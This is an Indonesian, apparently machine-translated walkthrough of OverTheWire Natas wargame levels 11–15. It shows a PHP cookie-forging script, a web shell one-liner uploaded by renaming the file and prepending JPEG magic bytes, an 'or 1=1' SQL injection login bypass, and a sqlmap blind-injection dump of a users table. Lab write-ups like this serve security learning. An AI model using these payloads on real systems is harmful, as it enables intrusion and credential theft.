Natas Web. Passage dari platform KKP bertujuan untuk mengeksploitasi kerentanan Web. Bagian 2

gambar

Pada artikel ini, kita akan membahas operasi beberapa identitas WEB menggunakan wargame Natas sebagai contoh. Setiap level memiliki akses ke kata sandi level selanjutnya. Semua kata sandi juga disimpan di file / etc / natas_webpass /. Sebagai contoh, kata sandi untuk natas5 disimpan dalam file / etc / natas_webpass / natas5 dan hanya-baca untuk pengguna natas4 dan natas5.

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

level 11


Pecahkan kode:

  1. kata sandi akan tersedia jika nilai dari array data dengan kunci sandi sandi adalah "ya";

    gambar
  2. array data dibuat oleh fungsi loadData, di mana data default dilewatkan sebagai parameter;

    gambar

    gambar
  3. fungsi loadData memuat nilai data dari cookie (menyandikan data dalam base64, mengenkripsi xor pada kunci yang tidak diketahui, mendekode data dalam format json);

    gambar

    gambar
  4. menetapkan nilai yang diterima.

Apa yang perlu Anda lakukan:

  1. pulihkan kunci enkripsi XOR:
    • mengambil data terenkripsi dari cookie;
    • decode base64;
    • menyandikan data default dalam format json;
    • Proxor menerima tenggat waktu.
  2. menyandikan dan mengenkripsi data baru menggunakan algoritma invers, di mana showpassword == ya ;
  3. masukkan data baru ke dalam cookie dan muat ulang halaman.

gambar

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?> 

gambar

gambar

level 12


Ketika Anda menyimpan file ke situs, itu disimpan di bawah nama acak dan ekstensi JPEG. Tetapi yang paling penting adalah bahwa nama ini dibentuk dan diberikan kepada pengguna dalam bidang tersembunyi dari formulir tersembunyi sebelum file dipilih, dan setelah itu dikirim ke server dengan file tersebut.

gambar

Tugas: membuat php-shell, memotong permintaan ke server dan
ubah nama file menjadi * .php.

 <? echo system($_GET["cmd"]); ?> 

gambar

Kami menggunakan Burp Suite: Kami menetapkan pengaturan proxy browser ke 127.0.0.1:8080. Kirim cangkangnya. Di tab Proksi, kami mengganti permintaan.

gambar

gambar

gambar

Kami beralih ke file kami di server, meneruskan perintah ke baris perintah melalui parameter cmd.

 cat /etc/natas_webpass/natas13 

gambar
Jenis kerentanan ini diklasifikasikan sebagai Upload File Tidak Terbatas.

Untuk membuat Shell, yang terbaik adalah menggunakan konstanta php, karena pelaksanaan fungsi sistem mungkin dilarang oleh pengaturan server.

level 13


Saat menyimpan shell yang sama ke server, kami diberitahu bahwa ini bukan gambar. Kami menganalisis kodenya.

gambar

Fungsi exif_imagetype hadir.

gambar

gambar

Untuk memeriksa file JPEG, fungsi ini menggunakan fungsi internal is_jpeg, yang memeriksa empat byte pertama file.

gambar

Faktanya adalah bahwa penerjemah php mengeksekusi kode antara <? ?>, melewatkan semua karakter lain. Buka shell dari level sebelumnya di hex editor dan tambahkan byte 0xFFD8FFE0 ke awal file.

gambar

Kirim ke situs dengan analogi dengan level sebelumnya dan dapatkan kata sandi.

gambar

level 14


Kesalahan umum dalam formulir otorisasi. Permintaan basis data:

 SELECT * from users where username="username" and password="password"; 

gambar

Dimungkinkan untuk selalu membuat permintaan itu benar: login = "admin" atau 1 = 1 - ".

gambar

Dalam hal ini, atau 1 = 1 menghasilkan true, dan sisa permintaan dikomentari:

 SELECT * from users where username="admin" or 1=1; 

Kami mengambil kata sandi.

gambar
Jenis kerentanan ini termasuk dalam kategori SQL Injection.

level 15


Pada formulir ini, kami menganalisis operasi sqlmap. Kirim permintaan dan potong data dan tajuk HTTP.

gambar

gambar

Kami hanya memilih informasi yang diperlukan dari header. Dalam hal ini: Agen-Pengguna, Referer, Otorisasi. Setel parameter sqlmap:

  • -u "URL"
  • --headers = "Header HTTP, dipisahkan oleh` \ n`"
  • --data = "Data permintaan POST"
  • --current-db - tentukan database mana yang digunakan
  • --tamper = space2comment - ganti spasi dengan string / ** / (dalam SQL, ini adalah hal yang sama)
  • --level = (1-5) - level pemindaian
  • --risk = (1-3) - risiko pemindaian

gambar

Sqlmap menentukan bahwa parameter nama pengguna rentan terhadap injeksi Blind Berbasis Boolean, dan menunjukkan respons database yang benar terhadap peristiwa yang benar (dalam pemindaian berikutnya, Anda dapat segera menentukan parameter rentan dan jenis injeksi: -p nama pengguna dan --technique = B).
B: Injeksi SQL buta berbasis Boolean
U: UNION permintaan injeksi SQL
T: Injeksi SQL buta berbasis waktu
E: Injeksi SQL berbasis kesalahan
S: Stacked query SQL injection

Sqlmap mendeteksi DBMS MySQL (dalam pemindaian berikutnya, parameter --dbms = MySQL) dan bertanya apakah perlu untuk menentukan versi mysql (standarnya adalah ya).

gambar

Sqlmap melaporkan bahwa versi MySQL> = 5.0.12 (ini diperlukan untuk memilih konstanta utilitas DBMS).

gambar

Sqlmap menentukan beban untuk parameter nama pengguna dan bertanya apakah parameter lain harus diperiksa (secara default, tidak). Itu juga menunjukkan beban.

gambar

Memberikan informasi tentang simpul dan, seperti yang kami minta, database saat ini: natas15.

gambar

gambar

Mengingat data baru yang diketahui, kami menemukan tabel dari database natas15:

  • -D "database"
  • --tables - define tables

gambar

Sqlmap mendefinisikan satu tabel pengguna.

gambar

Kami mengenali kolom di tabel pengguna:

  • -T "meja"
  • --columns - tentukan kolom

gambar

Sqlmap mendefinisikan 2 kolom.

gambar

Kami membuang tabel pengguna (opsi --dump). Pembuangan itu memakan waktu 3 menit. Kami mengeksekusi permintaan dalam 8 utas (- benang 8) - sebagai hasilnya: 1 menit.

gambar

Kami mengambil kata sandi.

Untuk dilanjutkan. Anda dapat bergabung dengan kami di Telegram .

Source: https://habr.com/ru/post/id464443/


All Articles